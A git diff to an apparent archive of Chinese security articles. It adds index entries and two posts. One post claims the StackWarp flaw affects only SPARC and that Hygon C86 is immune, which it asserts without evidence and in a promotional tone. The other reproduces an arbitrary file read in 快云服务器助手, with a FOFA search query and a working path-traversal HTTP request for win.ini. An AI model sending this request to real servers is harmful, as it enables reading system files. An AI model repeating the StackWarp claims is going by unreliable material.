diff --git a/data.json b/data.json
index da932044..41475b07 100644
--- a/data.json
+++ b/data.json
@@ -17111,5 +17111,7 @@
"https://mp.weixin.qq.com/s/TIw8j1MYCHIE5Hsxm7h_MA": "蓝凌EKP系统接口thirdImSyncForKKWebService接口存在任意文件读取漏洞",
"https://mp.weixin.qq.com/s/NiruKEIvIlsrGplNF9RzGw": "微软向FBI提供BitLocker恢复密钥：隐私保护的重大漏洞暴露",
"https://mp.weixin.qq.com/s/4PMH2yw8JaxTnM0_-YC13w": "CISA更新KEV目录，新增四个正在被积极利用的软件漏洞",
- "https://mp.weixin.qq.com/s/trgUEzPNgsj8yw463DqL5Q": "XSS 漏洞练习靶场，覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景"
+ "https://mp.weixin.qq.com/s/trgUEzPNgsj8yw463DqL5Q": "XSS 漏洞练习靶场，覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景",
+ "https://mp.weixin.qq.com/s/hm2Il1-KceEPg8uVnYxWWg": "快云服务器助手 filemana.aspx∕GetDetail 接口存在任意文件读取漏洞",
+ "https://mp.weixin.qq.com/s/8cI1JjOPms573PRTZwYitQ": "StackWarp漏洞为什么不能影响海光C86"
}
\ No newline at end of file
diff --git a/doc/2026-01/StackWarp漏洞为什么不能影响海光C86.md b/doc/2026-01/StackWarp漏洞为什么不能影响海光C86.md
new file mode 100644
index 00000000..04630dee
--- /dev/null
+++ b/doc/2026-01/StackWarp漏洞为什么不能影响海光C86.md
@@ -0,0 +1,121 @@
+# StackWarp漏洞为什么不能影响海光C86
+原创 安全赛博
+ 安全赛博 安全赛博 2026-01-24 16:15
+
+SPARC
+（Scalable Processor Architecture，可扩展处理器架构）是一种基于 RISC
+（精简指令集计算机）原则的指令集架构（ISA）。
+
+它最初由 Sun Microsystems
+在 1980 年代中期开发，因其在工作站和高性能服务器（尤其是运行 Solaris 系统的服务器）中的卓越表现而闻名。虽然现在在个人电脑领域很少见，但在一些关键任务、航空航天（如欧洲空间局的 LEON 处理器）以及老牌企业的后端系统中依然存在。
+### SPARC 的核心技术特征
+
+SPARC 之所以独特（也是为什么它会产生像 StackWarp
+这样漏洞的原因），主要源于以下几个设计理念：
+#### 1. 寄存器窗口 (Register Windows) —— 最具代表性的设计
+
+这是 SPARC 的“杀手锏”也是它的“阿克琉斯之踵”。
+- 概念：
+传统处理器（如 x86）在调用函数时，需要显式地把寄存器里的数据存入堆栈（Push）。SPARC 则是直接在硬件内部维护一大堆寄存器，并将其划分为多个“窗口”。
+
+- 操作：
+当函数调用发生时，硬件只需通过一个 save
+指令“滑动”一下窗口，函数就能立刻得到一组全新的寄存器，而无需访问慢速的内存内存。
+
+- 问题：
+当嵌套调用太深，硬件寄存器用完时，就会触发 Window Spill（窗口溢出）
+，迫使内核将寄存器内容写回内存堆栈。StackWarp 漏洞正是利用了这种硬件自动管理内存时的逻辑缺陷。
+
+#### 2. 延迟分支 (Delayed Branching)
+
+为了保持流水线不间断，SPARC 在执行跳转指令（如 jmp
+）时，会紧接着执行跳转指令之后的下一条指令（称为“延迟槽”）。这种设计在早期可以压榨硬件性能，但也增加了编译器编写和代码分析的复杂度。
+#### 3. 严格的 RISC 原则
+- 定长指令：
+所有指令长度固定（通常为 32 位），简化了解码过程。
+
+- 加载/存储架构：
+只有专门的 Load
+和 Store
+指令可以访问内存，所有计算必须在寄存器之间进行。
+
+SPARC 与海光 C86 (x86) 的现状对比
+| 特性 | SPARC | 海光 C86 / x86 |
| 设计哲学 | 极简指令，依赖硬件技巧（窗口化） | 复杂指令（CISC），依赖微码转换 |
| 寄存器处理 | 硬件自动滑动窗口 | 软件手动推栈 (Push/Pop) |
| 主要用途 | 关键任务服务器、航天、UNIX 终端 | 桌面电脑、云计算、国产通用服务器 |
| 安全性 | 逻辑漏洞（如 StackWarp）风险高 | 侧信道攻击（如 Spectre）风险高 |
### 核心：谁在搬运数据？
+- SPARC (受影响)：
+硬件在后台自动“偷偷”搬运数据。
+
+- 海光 C86 (不受影响)：
+软件在代码里“显式”搬运数据。
+
+### 1. 代码层面直观对比
+
+我们可以通过一段伪汇编代码，看看同一个函数调用在两个架构下是如何处理寄存器的。
+#### SPARC 架构：硬件自动溢出（StackWarp 的温床）
+
+在 SPARC 中，你只需要执行 save
+指令，硬件就会自动滑动“寄存器窗口”。如果窗口满了，硬件会自动触发一个 Trap（陷阱）
+，由内核把旧数据写到堆栈里。
+```
+! SPARC 代码示例
+_my_function:
+ save %sp, -112, %sp ! 重点：硬件自动处理寄存器窗口滑动
+ ! 如果此时寄存器窗口已满，硬件会自动将旧寄存器
+ ! “溢出（Spill）”到内存堆栈中。
+ ! StackWarp 攻击的就是这个硬件自动写入的过程。
+ ... 执行函数逻辑 ...
+ ret ! 返回
+ restore ! 硬件自动恢复上一个窗口
+```
+
+海光 C86 (x86-64) 架构：软件手动入栈（完全免疫）
+
+在海光 C86 上，没有“寄存器窗口”的概念。如果你想保存寄存器状态，编译器必须生成明确的 push
+指令。
+```
+; 海光 C86 (x86-64) 代码示例
+_my_function:
+ push rbp ; 显式：由软件指令把寄存器存入堆栈
+ mov rbp, rsp
+ sub rsp, 32 ; 显式：手动分配栈空间
+
+ ; 此时，除非你代码里写了越界写入漏洞（如 Buffer Overflow），
+ ; 否则硬件绝对不会在后台自动往这块内存里写任何东西。
+
+ ... 执行函数逻辑 ...
+
+ add rsp, 32
+ pop rbp ; 显式：由软件指令恢复寄存器
+ ret ; 显式：跳转回返回地址
+```
+
+### 2. 为什么海光 C86 免疫？
+#### ① 缺少“影子写回”机制
+
+StackWarp 攻击的是 SPARC 硬件在 Window Spill
+（窗口溢出）时产生的逻辑缺陷。海光 C86 采用的是寄存器重命名
+技术，寄存器之间的切换是在 CPU 内部的物理寄存器堆（PRF）中完成的，不涉及自动写回内存的操作
+。
+#### ② 权限边界清晰
+- SPARC：
+硬件自动溢出寄存器时，可能会在特权级切换的瞬间产生竞态条件（Race Condition），让攻击者有机会在内核写入前“掉包”堆栈指针。
+
+- 海光 C86：
+寄存器存取完全由指令流控制。CPU 执行 push
+就是用户态权限，执行内核代码就是内核态权限。没有这种“半自动、半特权”的灰色地带。
+
+#### ③ 现代架构的“栈引擎”优化
+
+虽然海光 C86 也有内部的“栈引擎（Stack Engine）”来优化 push/pop
+，但它只是为了加速指针计算。即使发生错误，它也只会导致程序崩溃，而不会像 StackWarp 那样允许攻击者通过“滑动窗口”逻辑来重定向控制流。
+
+3. 架构差异总结表
+| 特性 | SPARC (StackWarp 受害者) | 海光 C86 (x86-64) |
| 寄存器架构 | 寄存器窗口 (Windowed) | 通用寄存器 (Flat/Renamed) |
| 溢出行为 | 硬件自动触发(不可见) | 软件指令驱动(显式) |
| 内存访问 | 硬件在 Trap 时读写堆栈 | 只有 mov/push/pop指令读写堆栈 |
| 攻击面 | 硬件自动同步的逻辑缺陷 | 缓冲区溢出等软件漏洞 |
| 防护重点 | 修复硬件 Trap 处理逻辑 | CET (影子栈)、ASLR、Canary |
+StackWarp 是一场属于 SPARC 架构的“特定灾难”。
+海光 C86 作为现代 x86 架构的代表，从地基阶段就采用了完全不同的设计哲学，因此该漏洞在海光处理器上根本没有触发的物理基础。
+
+免疫的核心就四个字
+
+
+
+完全自主
+
diff --git a/doc/2026-01/快云服务器助手 filemana.aspx∕GetDetail 接口存在任意文件读取漏洞.md b/doc/2026-01/快云服务器助手 filemana.aspx∕GetDetail 接口存在任意文件读取漏洞.md
new file mode 100644
index 00000000..09c5e714
--- /dev/null
+++ b/doc/2026-01/快云服务器助手 filemana.aspx∕GetDetail 接口存在任意文件读取漏洞.md
@@ -0,0 +1,106 @@
+# 快云服务器助手 filemana.aspx/GetDetail 接口存在任意文件读取漏洞
+原创 安服仔
+ 安服仔 北风漏洞复现文库 2026-01-24 16:15
+
+# 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
+#
+
+01
+
+—
+
+漏洞名称
+
+快云服务器助手
+ filemana.aspx/GetDetail
+接口存在任意文件读取漏洞
+
+
+02
+
+—
+
+影响版本
+
+
+
+
+03
+
+—
+
+漏洞简介
+
+
+快云服务器助手是一款针对云计算环境下的服务器管理与监控工具，旨在帮助企业用户更加便捷、高效地管理其云服务器。通过跨平台的一键式管理与监控功能，该工具能够支持多种云服务商，如阿里云、腾讯云、华为云等，实现统一管理和监控，极大地提高了运维效率。支持
+Windows
+、
+Linux
+、
+Mac
+等多种操作系统，用户可以在不同的平台上使用同一款软件进行服务器管理与监控。功能强大、易于使用的服务器管理与监控工具。它能够帮助企业用户高效地管理其云服务器，提高运维效率，确保业务的稳定运行
+。
+
+
+04
+
+—
+
+资产测绘
+
+```
+app="快云服务器助手"
+```
+
+
+
+
+05
+
+—
+
+漏洞复现
+
+POC
+
+```
+POST /FileMenu/filemana.aspx/GetDetail
+HTTP/1.1
+Host: ip:port
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0;
+Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62
+Safari/537.36
+Accept:
+text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: application/json
+Content-Length: 99
+
+{"fpath":"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows/win.ini"}
+```
+
+
+
+
+06
+
+—
+
+修复建议
+
+**升级到安全版本**
+
+
+07
+
+—
+
+往期回顾
+
+
+
+
+